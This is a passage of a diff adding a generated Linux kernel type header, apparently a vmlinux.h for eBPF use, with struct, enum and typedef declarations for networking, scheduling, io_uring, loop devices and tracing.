+}; + +struct seg6_local_lwt; + +struct seg6_local_lwtunnel_ops { + int (*build_state)(struct seg6_local_lwt *, const void *, struct netlink_ext_ack *); + void (*destroy_state)(struct seg6_local_lwt *); +}; + +struct bpf_lwt_prog { + struct bpf_prog *prog; + char *name; +}; + +enum seg6_end_dt_mode { + DT_INVALID_MODE = -22, + DT_LEGACY_MODE = 0, + DT_VRF_MODE = 1, +}; + +struct seg6_end_dt_info { + enum seg6_end_dt_mode mode; + struct net *net; + int vrf_ifindex; + int vrf_table; + u16 family; +}; + +struct seg6_flavors_info { + __u32 flv_ops; + __u8 lcblock_bits; + __u8 lcnode_func_bits; +}; + +struct pcpu_seg6_local_counters; + +struct seg6_action_desc; + +struct seg6_local_lwt { + int action; + struct ipv6_sr_hdr *srh; + int table; + struct in_addr nh4; + struct in6_addr nh6; + int iif; + int oif; + struct bpf_lwt_prog bpf; + struct seg6_end_dt_info dt_info; + struct seg6_flavors_info flv_info; + struct pcpu_seg6_local_counters *pcpu_counters; + int headroom; + struct seg6_action_desc *desc; + long unsigned int parsed_optattrs; +}; + +struct seg6_action_desc { + int action; + long unsigned int attrs; + long unsigned int optattrs; + int (*input)(struct sk_buff *, struct seg6_local_lwt *); + int static_headroom; + struct seg6_local_lwtunnel_ops slwt_ops; +}; + +struct pcpu_seg6_local_counters { + u64_stats_t packets; + u64_stats_t bytes; + u64_stats_t errors; + struct u64_stats_sync syncp; +}; + +struct seg6_local_counters { + __u64 packets; + __u64 bytes; + __u64 errors; +}; + +enum seg6_local_pktinfo { + SEG6_LOCAL_PKTINFO_NOHDR = 0, + SEG6_LOCAL_PKTINFO_SL_ZERO = 1, + SEG6_LOCAL_PKTINFO_SL_ONE = 2, + SEG6_LOCAL_PKTINFO_SL_MORE = 3, + __SEG6_LOCAL_PKTINFO_MAX = 4, +}; + +enum seg6_local_flv_action { + SEG6_LOCAL_FLV_ACT_UNSPEC = 0, + SEG6_LOCAL_FLV_ACT_END = 1, + SEG6_LOCAL_FLV_ACT_PSP = 2, + SEG6_LOCAL_FLV_ACT_USP = 3, + SEG6_LOCAL_FLV_ACT_USD = 4, + __SEG6_LOCAL_FLV_ACT_MAX = 5, +}; + +struct seg6_action_param { + int (*parse)(struct nlattr **, struct seg6_local_lwt *, struct netlink_ext_ack *); + int (*put)(struct sk_buff *, struct seg6_local_lwt *); + int (*cmp)(struct seg6_local_lwt *, struct seg6_local_lwt *); + void (*destroy)(struct seg6_local_lwt *); +}; + +struct vlan_ethhdr { + union { + struct { + unsigned char h_dest[6]; + unsigned char h_source[6]; + }; + struct { + unsigned char h_dest[6]; + unsigned char h_source[6]; + } addrs; + }; + __be16 h_vlan_proto; + __be16 h_vlan_TCI; + __be16 h_vlan_encapsulated_proto; +}; + +struct trace_event_raw_mptcp_subflow_get_send { + struct trace_entry ent; + bool active; + bool free; + u32 snd_wnd; + u32 pace; + u8 backup; + u64 ratio; + char __data[0]; +}; + +struct trace_event_raw_mptcp_dump_mpext { + struct trace_entry ent; + u64 data_ack; + u64 data_seq; + u32 subflow_seq; + u16 data_len; + u16 csum; + u8 use_map; + u8 dsn64; + u8 data_fin; + u8 use_ack; + u8 ack64; + u8 mpc_map; + u8 frozen; + u8 reset_transient; + u8 reset_reason; + u8 csum_reqd; + u8 infinite_map; + char __data[0]; +}; + +struct trace_event_raw_ack_update_msk { + struct trace_entry ent; + u64 data_ack; + u64 old_snd_una; + u64 new_snd_una; + u64 new_wnd_end; + u64 msk_wnd_end; + char __data[0]; +}; + +struct trace_event_raw_subflow_check_data_avail { + struct trace_entry ent; + u8 status; + const void *skb; + char __data[0]; +}; + +struct trace_event_data_offsets_mptcp_subflow_get_send {}; + +struct trace_event_data_offsets_mptcp_dump_mpext {}; + +struct trace_event_data_offsets_ack_update_msk {}; + +struct trace_event_data_offsets_subflow_check_data_avail {}; + +typedef void (*btf_trace_mptcp_subflow_get_send)(void *, struct mptcp_subflow_context *); + +typedef void (*btf_trace_mptcp_sendmsg_frag)(void *, struct mptcp_ext *); + +typedef void (*btf_trace_get_mapping_status)(void *, struct mptcp_ext *); + +typedef void (*btf_trace_ack_update_msk)(void *, u64, u64, u64, u64, u64); + +typedef void (*btf_trace_subflow_check_data_avail)(void *, __u8, struct sk_buff *); + +enum { + MPTCP_CMSG_TS = 1, + MPTCP_CMSG_INQ = 2, +}; + +struct mptcp_sendmsg_info { + int mss_now; + int size_goal; + u16 limit; + u16 sent; + unsigned int flags; + bool data_lock_held; +}; + +struct subflow_send_info { + struct sock *ssk; + u64 linger_time; +}; + +enum insn_mmio_type { + INSN_MMIO_DECODE_FAILED = 0, + INSN_MMIO_WRITE = 1, + INSN_MMIO_WRITE_IMM = 2, + INSN_MMIO_READ = 3, + INSN_MMIO_READ_ZERO_EXTEND = 4, + INSN_MMIO_READ_SIGN_EXTEND = 5, + INSN_MMIO_MOVS = 6, +}; + +enum reg_type { + REG_TYPE_RM = 0, + REG_TYPE_REG = 1, + REG_TYPE_INDEX = 2, + REG_TYPE_BASE = 3, +}; + +enum perf_rapl_events { + PERF_RAPL_PP0 = 0, + PERF_RAPL_PKG = 1, + PERF_RAPL_RAM = 2, + PERF_RAPL_PP1 = 3, + PERF_RAPL_PSYS = 4, + PERF_RAPL_MAX = 5, + NR_RAPL_DOMAINS = 5, +}; + +struct rapl_pmu { + raw_spinlock_t lock; + int n_active; + int cpu; + struct list_head active_list; + struct pmu *pmu; + ktime_t timer_interval; + struct hrtimer hrtimer; +}; + +struct rapl_pmus { + struct pmu pmu; + unsigned int maxdie; + struct rapl_pmu *pmus[0]; +}; + +enum rapl_unit_quirk { + RAPL_UNIT_QUIRK_NONE = 0, + RAPL_UNIT_QUIRK_INTEL_HSW = 1, + RAPL_UNIT_QUIRK_INTEL_SPR = 2, +}; + +struct rapl_model { + struct perf_msr *rapl_msrs; + long unsigned int events; + unsigned int msr_power_unit; + enum rapl_unit_quirk unit_quirk; +}; + +struct muldiv { + u32 multiplier; + u32 divider; +}; + +struct freq_desc { + bool use_msr_plat; + struct muldiv muldiv[16]; + u32 freqs[16]; + u32 mask; +}; + +struct pkru_state { + u32 pkru; + u32 pad; +}; + +struct fpu_guest { + u64 xfeatures; + u64 perm; + u64 xfd_err; + unsigned int uabi_size; + struct fpstate *fpstate; +}; + +struct set_mtrr_data { + long unsigned int smp_base; + long unsigned int smp_size; + unsigned int smp_reg; + mtrr_type smp_type; +}; + +struct mtrr_value { + mtrr_type ltype; + long unsigned int lbase; + long unsigned int lsize; +}; + +struct callthunk_sites { + s32 *call_start; + s32 *call_end; + struct paravirt_patch_site *pv_start; + struct paravirt_patch_site *pv_end; +}; + +struct elf64_rela { + Elf64_Addr r_offset; + Elf64_Xword r_info; + Elf64_Sxword r_addend; +}; + +typedef struct elf64_rela Elf64_Rela; + +enum tlb_flush_reason { + TLB_FLUSH_ON_TASK_SWITCH = 0, + TLB_REMOTE_SHOOTDOWN = 1, + TLB_LOCAL_SHOOTDOWN = 2, + TLB_LOCAL_MM_SHOOTDOWN = 3, + TLB_REMOTE_SEND_IPI = 4, + NR_TLB_FLUSH_REASONS = 5, +}; + +struct flush_tlb_info { + struct mm_struct *mm; + long unsigned int start; + long unsigned int end; + u64 new_tlb_gen; + unsigned int initiating_cpu; + u8 stride_shift; + u8 freed_tables; +}; + +struct __user_cap_header_struct { + __u32 version; + int pid; +}; + +typedef struct __user_cap_header_struct *cap_user_header_t; + +struct __user_cap_data_struct { + __u32 effective; + __u32 permitted; + __u32 inheritable; +}; + +typedef struct __user_cap_data_struct *cap_user_data_t; + +enum uclamp_id { + UCLAMP_MIN = 0, + UCLAMP_MAX = 1, + UCLAMP_CNT = 2, +}; + +struct numa_group { + refcount_t refcount; + spinlock_t lock; + int nr_tasks; + pid_t gid; + int active_nodes; + struct callback_head rcu; + long unsigned int total_faults; + long unsigned int max_faults_cpu; + long unsigned int faults[0]; +}; + +enum { + SD_BALANCE_NEWIDLE = 1, + SD_BALANCE_EXEC = 2, + SD_BALANCE_FORK = 4, + SD_BALANCE_WAKE = 8, + SD_WAKE_AFFINE = 16, + SD_ASYM_CPUCAPACITY = 32, + SD_ASYM_CPUCAPACITY_FULL = 64, + SD_SHARE_CPUCAPACITY = 128, + SD_SHARE_PKG_RESOURCES = 256, + SD_SERIALIZE = 512, + SD_ASYM_PACKING = 1024, + SD_PREFER_SIBLING = 2048, + SD_OVERLAP = 4096, + SD_NUMA = 8192, +}; + +enum sched_tunable_scaling { + SCHED_TUNABLESCALING_NONE = 0, + SCHED_TUNABLESCALING_LOG = 1, + SCHED_TUNABLESCALING_LINEAR = 2, + SCHED_TUNABLESCALING_END = 3, +}; + +enum numa_faults_stats { + NUMA_MEM = 0, + NUMA_CPU = 1, + NUMA_MEMBUF = 2, + NUMA_CPUBUF = 3, +}; + +enum numa_type { + node_has_spare = 0, + node_fully_busy = 1, + node_overloaded = 2, +}; + +struct numa_stats { + long unsigned int load; + long unsigned int runnable; + long unsigned int util; + long unsigned int compute_capacity; + unsigned int nr_running; + unsigned int weight; + enum numa_type node_type; + int idle_cpu; +}; + +struct task_numa_env { + struct task_struct *p; + int src_cpu; + int src_nid; + int dst_cpu; + int dst_nid; + int imb_numa_nr; + struct numa_stats src_stats; + struct numa_stats dst_stats; + int imbalance_pct; + int dist; + struct task_struct *best_task; + long int best_imp; + int best_cpu; +}; + +struct energy_env { + long unsigned int task_busy_time; + long unsigned int pd_busy_time; + long unsigned int cpu_cap; + long unsigned int pd_cap; +}; + +enum fbq_type { + regular = 0, + remote = 1, + all = 2, +}; + +enum group_type { + group_has_spare = 0, + group_fully_busy = 1, + group_misfit_task = 2, + group_asym_packing = 3, + group_imbalanced = 4, + group_overloaded = 5, +}; + +enum migration_type { + migrate_load = 0, + migrate_util = 1, + migrate_task = 2, + migrate_misfit = 3, +}; + +struct lb_env { + struct sched_domain *sd; + struct rq *src_rq; + int src_cpu; + int dst_cpu; + struct rq *dst_rq; + struct cpumask *dst_grpmask; + int new_dst_cpu; + enum cpu_idle_type idle; + long int imbalance; + struct cpumask *cpus; + unsigned int flags; + unsigned int loop; + unsigned int loop_break; + unsigned int loop_max; + enum fbq_type fbq_type; + enum migration_type migration_type; + struct list_head tasks; +}; + +struct sg_lb_stats { + long unsigned int avg_load; + long unsigned int group_load; + long unsigned int group_capacity; + long unsigned int group_util; + long unsigned int group_runnable; + unsigned int sum_nr_running; + unsigned int sum_h_nr_running; + unsigned int idle_cpus; + unsigned int group_weight; + enum group_type group_type; + unsigned int group_asym_packing; + long unsigned int group_misfit_task_load; + unsigned int nr_numa_running; + unsigned int nr_preferred_running; +}; + +struct sd_lb_stats { + struct sched_group *busiest; + struct sched_group *local; + long unsigned int total_load; + long unsigned int total_capacity; + long unsigned int avg_load; + unsigned int prefer_sibling; + struct sg_lb_stats busiest_stat; + struct sg_lb_stats local_stat; +}; + +struct bpf_devmap_val { + __u32 ifindex; + union { + int fd; + __u32 id; + } bpf_prog; +}; + +struct xdp_dev_bulk_queue { + struct xdp_frame *q[16]; + struct list_head flush_node; + struct net_device *dev; + struct net_device *dev_rx; + struct bpf_prog *xdp_prog; + unsigned int count; +}; + +struct bpf_dtab; + +struct bpf_dtab_netdev { + struct net_device *dev; + struct hlist_node index_hlist; + struct bpf_dtab *dtab; + struct bpf_prog *xdp_prog; + struct callback_head rcu; + unsigned int idx; + struct bpf_devmap_val val; +}; + +struct bpf_dtab { + struct bpf_map map; + struct bpf_dtab_netdev **netdev_map; + struct list_head list; + struct hlist_head *dev_index_head; + spinlock_t index_lock; + unsigned int items; + u32 n_buckets; + long: 64; + long: 64; + long: 64; +}; + +struct trace_event_raw_mmap_lock { + struct trace_entry ent; + struct mm_struct *mm; + u32 __data_loc_memcg_path; + bool write; + char __data[0]; +}; + +struct trace_event_raw_mmap_lock_acquire_returned { + struct trace_entry ent; + struct mm_struct *mm; + u32 __data_loc_memcg_path; + bool write; + bool success; + char __data[0]; +}; + +struct trace_event_data_offsets_mmap_lock { + u32 memcg_path; +}; + +struct trace_event_data_offsets_mmap_lock_acquire_returned { + u32 memcg_path; +}; + +typedef void (*btf_trace_mmap_lock_start_locking)(void *, struct mm_struct *, const char *, bool); + +typedef void (*btf_trace_mmap_lock_released)(void *, struct mm_struct *, const char *, bool); + +typedef void (*btf_trace_mmap_lock_acquire_returned)(void *, struct mm_struct *, const char *, bool, bool); + +struct memcg_path { + local_lock_t lock; + char *buf; + local_t buf_idx; +}; + +struct page_frag_cache { + void *va; + __u16 offset; + __u16 size; + unsigned int pagecnt_bias; + bool pfmemalloc; +}; + +enum zone_flags { + ZONE_BOOSTED_WATERMARK = 0, + ZONE_RECLAIM_ACTIVE = 1, +}; + +struct alloc_context { + struct zonelist *zonelist; + nodemask_t *nodemask; + struct zoneref *preferred_zoneref; + int migratetype; + enum zone_type highest_zoneidx; + bool spread_dirty_pages; +}; + +typedef int fpi_t; + +struct f_owner_ex { + int type; + __kernel_pid_t pid; +}; + +enum rw_hint { + WRITE_LIFE_NOT_SET = 0, + WRITE_LIFE_NONE = 1, + WRITE_LIFE_SHORT = 2, + WRITE_LIFE_MEDIUM = 3, + WRITE_LIFE_LONG = 4, + WRITE_LIFE_EXTREME = 5, +}; + +typedef struct ns_common *ns_get_path_helper_t(void *); + +struct ns_get_path_task_args { + const struct proc_ns_operations *ns_ops; + struct task_struct *task; +}; + +struct proc_fs_opts { + int flag; + const char *str; +}; + +struct timerfd_ctx { + union { + struct hrtimer tmr; + struct alarm alarm; + } t; + ktime_t tintv; + ktime_t moffs; + wait_queue_head_t wqh; + u64 ticks; + int clockid; + short unsigned int expired; + short unsigned int settime_flags; + struct callback_head rcu; + struct list_head clist; + spinlock_t cancel_lock; + bool might_cancel; +}; + +struct pts_mount_opts { + int setuid; + int setgid; + kuid_t uid; + kgid_t gid; + umode_t mode; + umode_t ptmxmode; + int reserve; + int max; +}; + +enum { + Opt_uid___4 = 0, + Opt_gid___5 = 1, + Opt_mode___4 = 2, + Opt_ptmxmode = 3, + Opt_newinstance = 4, + Opt_max = 5, + Opt_err___7 = 6, +}; + +struct pts_fs_info { + struct ida allocated_ptys; + struct pts_mount_opts mount_opts; + struct super_block *sb; + struct dentry *ptmx_dentry; +}; + +struct ramfs_mount_opts { + umode_t mode; +}; + +struct ramfs_fs_info { + struct ramfs_mount_opts mount_opts; +}; + +enum ramfs_param { + Opt_mode___5 = 0, +}; + +struct msg_msgseg { + struct msg_msgseg *next; +}; + +struct md5_state { + u32 hash[4]; + u32 block[16]; + u64 byte_count; +}; + +struct xxhash64_tfm_ctx { + u64 seed; +}; + +struct xxhash64_desc_ctx { + struct xxh64_state xxhstate; +}; + +struct rq_depth { + unsigned int max_depth; + int scale_step; + bool scaled_max; + unsigned int queue_depth; + unsigned int default_depth; +}; + +typedef bool acquire_inflight_cb_t(struct rq_wait *, void *); + +typedef void cleanup_cb_t(struct rq_wait *, void *); + +struct rq_qos_wait_data { + struct wait_queue_entry wq; + struct task_struct *task; + struct rq_wait *rqw; + acquire_inflight_cb_t *cb; + void *private_data; + bool got_token; +}; + +struct io_uring_recvmsg_out { + __u32 namelen; + __u32 controllen; + __u32 payloadlen; + __u32 flags; +}; + +struct io_async_msghdr { + union { + struct iovec fast_iov[8]; + struct { + struct iovec fast_iov_one; + __kernel_size_t controllen; + int namelen; + __kernel_size_t payloadlen; + }; + struct io_cache_entry cache; + }; + struct iovec *free_iov; + struct sockaddr *uaddr; + struct msghdr msg; + struct __kernel_sockaddr_storage addr; +}; + +struct io_async_connect { + struct __kernel_sockaddr_storage address; +}; + +struct io_shutdown { + struct file *file; + int how; +}; + +struct io_accept { + struct file *file; + struct sockaddr *addr; + int *addr_len; + int flags; + u32 file_slot; + long unsigned int nofile; +}; + +struct io_socket { + struct file *file; + int domain; + int type; + int protocol; + int flags; + u32 file_slot; + long unsigned int nofile; +}; + +struct io_connect { + struct file *file; + struct sockaddr *addr; + int addr_len; + bool in_progress; + bool seen_econnaborted; +}; + +struct io_sr_msg { + struct file *file; + union { + struct compat_msghdr *umsg_compat; + struct user_msghdr *umsg; + void *buf; + }; + unsigned int len; + unsigned int done_io; + unsigned int msg_flags; + u16 flags; + u16 addr_len; + u16 buf_group; + void *addr; + struct io_kiocb *notif; +}; + +struct io_recvmsg_multishot_hdr { + struct io_uring_recvmsg_out msg; + struct __kernel_sockaddr_storage addr; +}; + +enum devm_ioremap_type { + DEVM_IOREMAP = 0, + DEVM_IOREMAP_UC = 1, + DEVM_IOREMAP_WC = 2, + DEVM_IOREMAP_NP = 3, +}; + +struct pcim_iomap_devres { + void *table[6]; +}; + +struct arch_io_reserve_memtype_wc_devres { + resource_size_t start; + resource_size_t size; +}; + +struct acpi_ged_device { + struct device *dev; + struct list_head event_list; +}; + +struct acpi_ged_event { + struct list_head node; + struct device *dev; + unsigned int gsi; + unsigned int irq; + acpi_handle handle; +}; + +struct acpi_mem_mapping { + acpi_physical_address physical_address; + u8 *logical_address; + acpi_size length; + struct acpi_mem_mapping *next_mm; +}; + +struct acpi_mem_space_context { + u32 length; + acpi_physical_address address; + struct acpi_mem_mapping *cur_mm; + struct acpi_mem_mapping *first_mm; +}; + +struct acpi_data_table_mapping { + void *pointer; +}; + +typedef acpi_status (*acpi_walk_callback)(acpi_handle, u32, void *, void **); + +struct resource_win { + struct resource res; + resource_size_t offset; +}; + +struct acpi_pci_ioapic { + acpi_handle root_handle; + acpi_handle handle; + u32 gsi_base; + struct resource res; + struct pci_dev *pdev; + struct list_head list; +}; + +struct dw8250_platform_data { + u8 usr_reg; + u32 cpr_val; + unsigned int quirks; +}; + +struct dw8250_data { + struct dw8250_port_data data; + const struct dw8250_platform_data *pdata; + int msr_mask_on; + int msr_mask_off; + struct clk *clk; + struct clk *pclk; + struct notifier_block clk_notifier; + struct work_struct clk_work; + struct reset_control *rst; + unsigned int skip_autocfg: 1; + unsigned int uart_16550_compatible: 1; +}; + +typedef struct kobject *kobj_probe_t(dev_t, int *, void *); + +struct probe { + struct probe *next; + dev_t dev; + long unsigned int range; + struct module *owner; + kobj_probe_t *get; + int (*lock)(dev_t, void *); + void *data; +}; + +struct kobj_map { + struct probe *probes[255]; + struct mutex *lock; +}; + +typedef long unsigned int __kernel_old_dev_t; + +enum { + LO_FLAGS_READ_ONLY = 1, + LO_FLAGS_AUTOCLEAR = 4, + LO_FLAGS_PARTSCAN = 8, + LO_FLAGS_DIRECT_IO = 16, +}; + +struct loop_info { + int lo_number; + __kernel_old_dev_t lo_device; + long unsigned int lo_inode; + __kernel_old_dev_t lo_rdevice; + int lo_offset; + int lo_encrypt_type; + int lo_encrypt_key_size; + int lo_flags; + char lo_name[64]; + unsigned char lo_encrypt_key[32]; + long unsigned int lo_init[2]; + char reserved[4]; +}; + +struct loop_info64 { + __u64 lo_device; + __u64 lo_inode; + __u64 lo_rdevice; + __u64 lo_offset; + __u64 lo_sizelimit; + __u32 lo_number; + __u32 lo_encrypt_type; + __u32 lo_encrypt_key_size; + __u32 lo_flags; + __u8 lo_file_name[64]; + __u8 lo_crypt_name[64]; + __u8 lo_encrypt_key[32]; + __u64 lo_init[2]; +}; + +struct loop_config { + __u32 fd; + __u32 block_size; + struct loop_info64 info; + __u64 __reserved[8]; +}; + +enum { + Lo_unbound = 0, + Lo_bound = 1, + Lo_rundown = 2, + Lo_deleting = 3, +}; + +struct loop_device { + int lo_number; + loff_t lo_offset; + loff_t lo_sizelimit; + int lo_flags; + char lo_file_name[64]; + struct file *lo_backing_file; + struct block_device *lo_device; + gfp_t old_gfp_mask; + spinlock_t lo_lock; + int lo_state; + spinlock_t lo_work_lock; + struct workqueue_struct *workqueue; + struct work_struct rootcg_work; + struct list_head rootcg_cmd_list; + struct list_head idle_worker_list; + struct rb_root worker_tree; + struct timer_list timer; + bool use_dio; + bool sysfs_inited; + struct request_queue *lo_queue; + struct blk_mq_tag_set tag_set; + struct gendisk *lo_disk; + struct mutex lo_mutex; + bool idr_visible; +}; + +struct loop_cmd { + struct list_head list_entry; + bool use_aio; + atomic_t ref; + long int ret; + struct kiocb iocb; + struct bio_vec *bvec; + struct cgroup_subsys_state *blkcg_css; + struct cgroup_subsys_state *memcg_css; +}; + +struct loop_worker { + struct rb_node rb_node; + struct work_struct work; + struct list_head cmd_list; + struct list_head idle_list; + struct loop_device *lo; + struct cgroup_subsys_state *blkcg_css; + long unsigned int last_ran_at; +}; + +struct fib6_entry_notifier_info { + struct fib_notifier_info info; + struct fib6_info *rt; + unsigned int nsiblings; +}; + +struct nsim_fib_entry { + u64 max; + atomic64_t num; +}; + +struct nsim_per_fib_data { + struct nsim_fib_entry fib; + struct nsim_fib_entry rules; +}; + +struct nsim_fib_data { + struct notifier_block fib_nb; + struct nsim_per_fib_data ipv4; + struct nsim_per_fib_data ipv6; + struct nsim_fib_entry nexthops; + struct rhashtable fib_rt_ht; + struct list_head fib_rt_list; + struct mutex fib_lock; + struct notifier_block nexthop_nb; + struct rhashtable nexthop_ht; + struct devlink *devlink; + struct work_struct fib_event_work; + struct work_struct fib_flush_work; + struct list_head fib_event_queue; + spinlock_t fib_event_queue_lock; + struct mutex nh_lock; + struct dentry *ddir; + bool fail_route_offload; + bool fail_res_nexthop_group_replace; + bool fail_nexthop_bucket_replace; + bool fail_route_delete; +}; + +struct nsim_fib_rt_key { + unsigned char addr[16]; + unsigned char prefix_len; + int family; + u32 tb_id; +}; + +struct nsim_fib_rt { + struct nsim_fib_rt_key key; + struct rhash_head ht_node; + struct list_head list; +}; + +struct nsim_fib4_rt { + struct nsim_fib_rt common; + struct fib_info *fi; + dscp_t dscp; + u8 type; +}; + +struct nsim_fib6_rt { + struct nsim_fib_rt common; + struct list_head nh_list; + unsigned int nhs; +}; + +struct nsim_fib6_rt_nh { + struct list_head list; + struct fib6_info *rt; +}; + +struct nsim_fib6_event { + struct fib6_info **rt_arr; + unsigned int nrt6; +}; + +struct nsim_fib_event { + struct list_head list; + union { + struct fib_entry_notifier_info fen_info; + struct nsim_fib6_event fib6_event; + }; + struct nsim_fib_data *data; + long unsigned int event; + int family; +}; + +struct nsim_nexthop { + struct rhash_head ht_node; + u64 occ; + u32 id; + bool is_resilient; +}; + +struct cper_sec_proc_arm { + u32 validation_bits; + u16 err_info_num; + u16 context_info_num; + u32 section_length; + u8 affinity_level; + u8 reserved[3]; + u64 mpidr; + u64 midr; + u32 running_state; + u32 psci_state; +}; + +enum hw_event_mc_err_type { + HW_EVENT_ERR_CORRECTED = 0, + HW_EVENT_ERR_UNCORRECTED = 1, + HW_EVENT_ERR_DEFERRED = 2, + HW_EVENT_ERR_FATAL = 3, + HW_EVENT_ERR_INFO = 4, +}; + +struct aer_header_log_regs { + unsigned int dw0; + unsigned int dw1; + unsigned int dw2; + unsigned int dw3; +}; + +struct trace_event_raw_mc_event { + struct trace_entry ent; + unsigned int error_type; + u32 __data_loc_msg; + u32 __data_loc_label; + u16 error_count; + u8 mc_index; + s8 top_layer; + s8 middle_layer; + s8 lower_layer; + long int address; + u8 grain_bits; + long int syndrome; + u32 __data_loc_driver_detail; + char __data[0]; +}; + +struct trace_event_raw_arm_event { + struct trace_entry ent; + u64 mpidr; + u64 midr; + u32 running_state; + u32 psci_state; + u8 affinity; + char __data[0]; +}; + +struct trace_event_raw_non_standard_event { + struct trace_entry ent; + char sec_type[16]; + char fru_id[16]; + u32 __data_loc_fru_text; + u8 sev; + u32 len; + u32 __data_loc_buf; + char __data[0]; +}; + +struct trace_event_raw_aer_event { + struct trace_entry ent; + u32 __data_loc_dev_name; + u32 status; + u8 severity; + u8 tlp_header_valid; + u32 tlp_header[4]; + char __data[0]; +}; + +struct trace_event_raw_memory_failure_event { + struct trace_entry ent; + long unsigned int pfn; + int type; + int result; + char __data[0]; +}; + +struct trace_event_data_offsets_mc_event { + u32 msg; + u32 label; + u32 driver_detail; +}; + +struct trace_event_data_offsets_arm_event {}; + +struct trace_event_data_offsets_non_standard_event { + u32 fru_text; + u32 buf; +}; + +struct trace_event_data_offsets_aer_event { + u32 dev_name; +}; + +struct trace_event_data_offsets_memory_failure_event {}; + +typedef void (*btf_trace_mc_event)(void *, const unsigned int, const char *, const char *, const int, const u8, const s8, const s8, const s8, long unsigned int, const u8, long unsigned int, const char *); + +typedef void (*btf_trace_arm_event)(void *, const struct cper_sec_proc_arm *); + +typedef void (*btf_trace_non_standard_event)(void *, const guid_t *, const guid_t *, const char *, const u8, const u8 *, const u32); + +typedef void (*btf_trace_aer_event)(void *, const char *, const u32, const u8, const u8, struct aer_header_log_regs *); + +typedef void (*btf_trace_memory_failure_event)(void *, long unsigned int, int, int); + +enum { + NETDEV_A_DEV_IFINDEX = 1, + NETDEV_A_DEV_PAD = 2, + NETDEV_A_DEV_XDP_FEATURES = 3, + __NETDEV_A_DEV_MAX = 4, + NETDEV_A_DEV_MAX = 3, +}; + +enum { + NETDEV_CMD_DEV_GET = 1, + NETDEV_CMD_DEV_ADD_NTF = 2, + NETDEV_CMD_DEV_DEL_NTF = 3, + NETDEV_CMD_DEV_CHANGE_NTF = 4, + __NETDEV_CMD_MAX = 5, + NETDEV_CMD_MAX = 4, +}; + +enum { + NETDEV_NLGRP_MGMT = 0, +}; + +struct nvmem_cell; + +enum { + ETHTOOL_A_TUNNEL_UDP_ENTRY_UNSPEC = 0, + ETHTOOL_A_TUNNEL_UDP_ENTRY_PORT = 1, + ETHTOOL_A_TUNNEL_UDP_ENTRY_TYPE = 2, + __ETHTOOL_A_TUNNEL_UDP_ENTRY_CNT = 3, + ETHTOOL_A_TUNNEL_UDP_ENTRY_MAX = 2, +}; + +enum { + ETHTOOL_A_TUNNEL_UDP_TABLE_UNSPEC = 0, + ETHTOOL_A_TUNNEL_UDP_TABLE_SIZE = 1, + ETHTOOL_A_TUNNEL_UDP_TABLE_TYPES = 2, + ETHTOOL_A_TUNNEL_UDP_TABLE_ENTRY = 3, + __ETHTOOL_A_TUNNEL_UDP_TABLE_CNT = 4, + ETHTOOL_A_TUNNEL_UDP_TABLE_MAX = 3, +}; + +enum { + ETHTOOL_A_TUNNEL_UDP_UNSPEC = 0, + ETHTOOL_A_TUNNEL_UDP_TABLE = 1, + __ETHTOOL_A_TUNNEL_UDP_CNT = 2, + ETHTOOL_A_TUNNEL_UDP_MAX = 1, +}; + +struct ethnl_tunnel_info_dump_ctx { + struct ethnl_req_info req_info; + int pos_hash; + int pos_idx; +}; + +struct tcp_plb_state { + u8 consec_cong_rounds: 5; + u8 unused: 3; + u32 pause_until; +}; + +enum { + INET_FRAG_FIRST_IN = 1, + INET_FRAG_LAST_IN = 2, + INET_FRAG_COMPLETE = 4, + INET_FRAG_HASH_DEAD = 8, + INET_FRAG_DROP = 16, +}; + +struct frag_queue { + struct inet_frag_queue q; + int iif; + __u16 nhoffset; + u8 ecn; +}; + +typedef struct rt6_info * (*pol_lookup_t)(struct net *, struct fib6_table *, struct flowi6 *, const struct sk_buff *, int); + +struct fib6_rule { + struct fib_rule common; + struct rt6key src; + struct rt6key dst; + dscp_t dscp; +}; + +enum dns_payload_content_type { + DNS_PAYLOAD_IS_SERVER_LIST = 0, +}; + +struct dns_payload_header { + __u8 zero; + __u8 content; + __u8 version; +}; + +struct xsk_map { + struct bpf_map map; + spinlock_t lock; + atomic_t count; + struct xdp_sock *xsk_map[0]; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct xsk_map_node { + struct list_head node; + struct xsk_map *map; + struct xdp_sock **map_entry; +}; + +enum perf_hw_id { + PERF_COUNT_HW_CPU_CYCLES = 0, + PERF_COUNT_HW_INSTRUCTIONS = 1, + PERF_COUNT_HW_CACHE_REFERENCES = 2, + PERF_COUNT_HW_CACHE_MISSES = 3, + PERF_COUNT_HW_BRANCH_INSTRUCTIONS = 4, + PERF_COUNT_HW_BRANCH_MISSES = 5, + PERF_COUNT_HW_BUS_CYCLES = 6, + PERF_COUNT_HW_STALLED_CYCLES_FRONTEND = 7, + PERF_COUNT_HW_STALLED_CYCLES_BACKEND = 8, + PERF_COUNT_HW_REF_CPU_CYCLES = 9, + PERF_COUNT_HW_MAX = 10, +}; + +union cpuid_0x80000022_ebx { + struct { + unsigned int num_core_pmc: 4; + unsigned int lbr_v2_stack_sz: 6; + unsigned int num_df_pmc: 6; + } split; + unsigned int full; +}; + +typedef void amd_pmu_branch_reset_t(); + +struct intel_early_ops { + resource_size_t (*stolen_size)(int, int, int); + resource_size_t (*stolen_base)(int, int, int, resource_size_t); +}; + +struct chipset { + u32 vendor; + u32 device; + u32 class; + u32 class_mask; + u32 flags; + void (*f)(int, int, int); +}; + +struct waitid_info { + pid_t pid; + uid_t uid; + int status; + int cause; +}; + +struct wait_opts { + enum pid_type wo_type; + int wo_flags; + struct pid *wo_pid; + struct waitid_info *wo_info; + int wo_stat; + struct rusage *wo_rusage; + wait_queue_entry_t child_wait; + int notask_error; +}; + +typedef bool (*smp_cond_func_t)(int, void *); + +struct call_function_data { + call_single_data_t *csd; + cpumask_var_t cpumask; + cpumask_var_t cpumask_ipi; +}; + +struct smp_call_on_cpu_struct { + struct work_struct work; + struct completion done; + int (*func)(void *); + void *data; + int ret; + int cpu; +}; + +struct sigevent { + sigval_t sigev_value; + int sigev_signo; + int sigev_notify; + union { + int _pad[12]; + int _tid; + struct { + void (*_function)(sigval_t); + void *_attribute; + } _sigev_thread; + } _sigev_un; +}; + +struct fanotify_response_info_header { + __u8 type; + __u8 pad; + __u16 len; +}; + +struct fanotify_response_info_audit_rule { + struct fanotify_response_info_header hdr; + __u32 rule_number; + __u32 subj_trust; + __u32 obj_trust; +}; + +struct audit_aux_data { + struct audit_aux_data *next; + int type; +}; + +struct audit_chunk; + +struct audit_tree_refs { + struct audit_tree_refs *next; + struct 